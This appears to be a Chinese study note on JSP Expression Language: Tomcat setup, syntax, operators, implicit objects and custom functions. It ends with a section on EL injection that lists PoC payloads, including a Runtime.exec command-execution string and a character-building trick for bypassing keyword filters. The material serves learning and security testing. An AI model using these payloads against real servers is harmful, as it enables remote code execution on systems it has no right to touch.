介绍
EL 全名为Expression Language,是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。
EL主要作用:
- 获取数据
EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
- 执行运算
利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
- 获取web开发常用对象
EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
- 调用Java方法
EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。
快速搭建tomcat环境
因为需要使用到JSP来学习EL表达式,所以想法是快速搭一个tomcat环境,之前采用的是添加tomcat依赖到pom.xml
的方法,使用内置tomcat,但是感觉搭建环境速度太慢了,所以学了个新的方法来快速搭建tomcat环境
参考:https://blog.51cto.com/u_15119353/3309943
前期准备
- tomcat可用版
- IDEA
tomcat各版本下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/
环境搭建
先建一个平平无奇的Java项目
然后右键,选择Add Framework Support...
勾选Web Application
这个时候就会多一个web目录,也就是我们的webapps
目录
打开Project Structure
窗口,新建2个文件夹在WEB-INF
目录下,分别是classes
和lib
,这一步是为了添加项目类路径
修改编译后的类路径到我们刚才新建的classes
目录下
添加本地tomcat服务器
配置好需要的信息,然后Fix
修复一下
给应用上下文路径设置为跟路径,如果这里设置为/a
则访问就变成 localhost:8080/a/
然后启动运行即可
项目结构
EL表达式使用
EL基础语法
在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}
表示。
例如,${userinfo}
代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${pageScope.userinfo}
表示访问page范围中的userinfo变量。
简单地说,使用EL表达式语法:${EL表达式}
其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。
扩展JSP代码的写法总结:
- JSP表达式:
<%=变量或表达式>
向浏览器输出变量或表达式的计算结果。 - JSP脚本:
<%Java代码%>
执行java代码的原理:翻译到_jspService()方法中。 - JSP声明:
<%!变量或方法%>
声明jsp的成员变量或成员方法。 - JSP注释:
<%!--JSP注释--%>
用于注释JSP代码,不会翻译到Java文件中,也不会执行。[ ]与.运算符
EL表达式提供.
和[]
两种运算符来存取数据。
当要存取的属性名称中包含一些特殊字符,如.
或-
等并非字母或数字的符号,就一定要使用[]
。例如:${user.My-Name}
应当改为${user["My-Name"]}
。
如果要动态取值时,就可以用[]
来做,而.
无法做到动态取值。例如:${sessionScope.user[data]}
中data 是一个变量。获取变量举例
``` <%@ page import=”java.util.HashMap” %> <%@ page contentType=”text/html;charset=UTF-8” language=”java” %>
<%
request.setAttribute(“name”,”张三”);
request.setAttribute(“request”, “request_name”);
session.setAttribute(“session”, “session_name”);
pageContext.setAttribute(“page”, “page_name”);
application.setAttribute(“application”, “application_name”);
HashMap
从四个作用域中搜索变量:${name}
<%—获取作用域—%>
从requestScope作用域中获取变量:${requestScope.request}
从sessionScope作用域中获取变量:${sessionScope.session}
从pageScope作用域中获取变量:${pageScope.page}
从applicationScope作用域中获取变量:${applicationScope.application}
从作用域中获取特殊符号变量:${requestScope.test[“my-name”]}
### 操作符
|
类型
| 符号
|
| --- | --- |
|
算术型
| +、-(二元)、`*`、/、div、%、mod、-(一元)
|
|
逻辑型
| and、&&、or、||、!、not
|
|
关系型
| ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
|
|
空
| empty 空操作符是前缀操作,可用于确定值是否为空。
|
|
条件型
| A ?B :C 。根据 A 赋值的结果来赋值 B 或 C。
|
**运算符优先级如下(从高到低,从左到右):**
- `[] .`
- `()` (用于更改运算符的优先)
- `-` (一元) `not ! empty`
- `* / div % mod`
- `+ -` (二元)
- `+=`
- `<> <= >= lt gt le ge`
- `== != eq ne`
- `&& and`
- `|| or`
- `? :`
- `->`
- `=`
- `;`
### 隐含对象
EL表达式语言中定义了11个隐含对象,使用这些隐含对象可以很方便地获取web开发中的一些常见对象,并读取这些对象的数据。<br />
语法:`${隐式对象名称}`:获得对象的引用
|
序号
| 隐含对象名称
| 描 述
|
| --- | --- | --- |
|
1
| pageContext
| 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
|
|
2
| pageScope
| 代表page域中用于保存属性的Map对象
|
|
3
| requestScope
| 代表request域中用于保存属性的Map对象
|
|
4
| sessionScope
| 代表session域中用于保存属性的Map对象
|
|
5
| applicationScope
| 代表application域中用于保存属性的Map对象
|
|
6
| param
| 表示一个保存了所有请求参数的Map对象
|
|
7
| paramValues
| 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[]
|
|
8
| header
| 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”]
|
|
9
| headerValues
| 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”]
|
|
10
| cookie
| 表示一个保存了所有cookie的Map对象
|
|
11
| initParam
| 表示一个保存了所有web应用初始化参数的map对象
|
### 函数
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法。语法:`${prefix:method(params)}`<br />在EL表达式中调用的只能是Java类的静态方法,这个Java类的静态方法需要在TLD文件中描述,才可以被EL表达式调用。<br />EL自定义函数用于扩展EL表达式的功能,可以让EL表达式完成普通Java程序代码所能完成的功能。
---
举例: >编写一个让所有字符大写的函数<<br />一般来说, EL自定义函数开发与应用包括以下三个步骤:<br />1、编写一个Java类的静态方法<br />2、编写标签库描述符(tld)文件,在tld文件中描述自定义函数。<br />3、在JSP页面中导入和使用自定义函数<br />1、编写一个Java类的静态方法,代码如下
public class ELFunc { public static String up(String message) { if (message == null){ return null; } return message.toUpperCase(); } }
2、编写标签库描述符(tld)文件,在tld文件中描述自定义函数。<br />`ELFunc.tld`位置<br />![image-20211014135608617](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987502822-a6b62618-8b5d-4912-afda-7fefd4db83fa.png)<br />代码
<?xml version=”1.0” encoding=”UTF-8”?>
3、在JSP页面中导入和使用自定义函数
<%—引入EL自定义函数库 —%> <%@taglib uri=”/ELFunc” prefix=”fn” %> ${fn:up(“123aaabbbCCC”)}
实验了好久代码应该是没问题的,但是还是有报错,后面需要再解决这个问题吧,今天是解决不了了,不然一天没了。。。
### 禁用/启用EL表达式
全局禁用EL表达式,web.xml中进入如下配置:
单个文件禁用EL表达式 在JSP文件中可以有如下定义:
<%@ page isELIgnored=”true” %>
该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。<br />JSP2.0中默认的启用EL表达式。
## EL表达式注入
原理都是一样的:表达式全部或部份外部可控。列一些通用的poc
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) ${pageContext}
//获取Web路径 ${pageContext.getSession().getServletContext().getClassLoader().getResource(“”)}
//文件头参数 ${header}
//获取webRoot ${applicationScope}
//执行命令 ${pageContext.request.getSession().setAttribute(“a”,pageContext.request.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”).getInputStream())}
![image-20211014144817368](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987503983-2d18aa05-8730-4179-a796-cc15c60c58bd.png)
## EL表达式注入绕过
通过 `charAt` 与 `toChars` 获取字符,在由 `toString` 转字符串再用 `concat` 拼接来绕过一些敏感字符的过滤
${“xxx”.toString().charAt(0).toChars(97)[0].toString()} ${“xxx”.toString().charAt(0).toChars(97)[0].toString().concat(“xxx”.toString().charAt(0).toChars(98)[0].toString())}
``
通过以上代码,只需要修改
toChars()`中的ascii码值就可以变成任意字符
参考
- 浅析EL表达式注入漏洞 (很详细)